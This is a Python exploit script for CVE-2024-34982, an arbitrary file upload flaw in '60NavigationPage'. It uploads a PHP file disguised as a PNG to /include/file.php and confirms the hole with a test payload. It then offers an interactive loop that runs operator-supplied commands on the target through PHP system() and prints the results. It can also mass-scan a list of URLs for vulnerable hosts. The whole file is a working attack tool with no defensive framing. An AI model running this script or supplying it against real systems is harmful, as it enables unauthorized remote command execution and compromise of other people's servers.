import requests
import urllib3
import re,string,random
from urllib.parse import urljoin
import argparse
import time
import ssl
import json
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def check(url):
    url = url.rstrip("/")
    target = urljoin(url,"/include/file.php")
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
        "Content-Type": "multipart/form-data; boundary=---------------------------575673989461736"
    }
    data = """-----------------------------575673989461736\r\nContent-Disposition: form-data; name="file"; filename="test.php"\r\nContent-Type: image/png\r\n\r\n<?php echo "HelloWorldtest";unlink(__FILE__);?>\r\n-----------------------------575673989461736--"""
    try:
        response = requests.post(target, verify=False, data=data,headers=headers, timeout=15)
        if response.status_code == 200 and 'files' in response.text and 'msg' in response.text and 'php' in response.text:
            parsed_data = json.loads(response.text)
            path = parsed_data["url"]
            result_url = urljoin(url,path)
            response = requests.get(result_url, verify=False,headers={"User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36"}, timeout=15)
            if response.status_code == 200 and 'HelloWorldtest' in response.text:
                print(f"\033[31mDiscovered:{url}: 60NavigationPage_CVE-2024-34982_ArbitraryFileUploads!\033[0m")
                return True
    except Exception as e:
        pass

def run(url):
    url = url.rstrip("/")
    target = urljoin(url, "/include/file.php")
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
        "Content-Type": "multipart/form-data; boundary=---------------------------575673989461736"
    }
    data_template = """-----------------------------575673989461736\r\nContent-Disposition: form-data; name="file"; filename="test.php"\r\nContent-Type: image/png\r\n\r\n<?php system("replace");unlink(__FILE__);?>\r\n-----------------------------575673989461736--"""
    try:
        if check(url):
            while True:
                command = input("\033[34mPlease input command (stop input:exit):\033[0m")
                if "exit" not in command:
                    data = data_template.replace('replace', command)
                    response = requests.post(target, verify=False, data=data, headers=headers, timeout=15)
                    if response.status_code == 200 and 'files' in response.text and 'msg' in response.text and 'php' in response.text:
                        parsed_data = json.loads(response.text)
                        path = parsed_data["url"]
                        result_url = urljoin(url, path)
                        response = requests.get(result_url, verify=False, headers={
                            "User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36"},timeout=15)
                        if response.status_code == 200:
                                print(response.text)
                else:
                    break
    except Exception as e:
        pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        run(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")
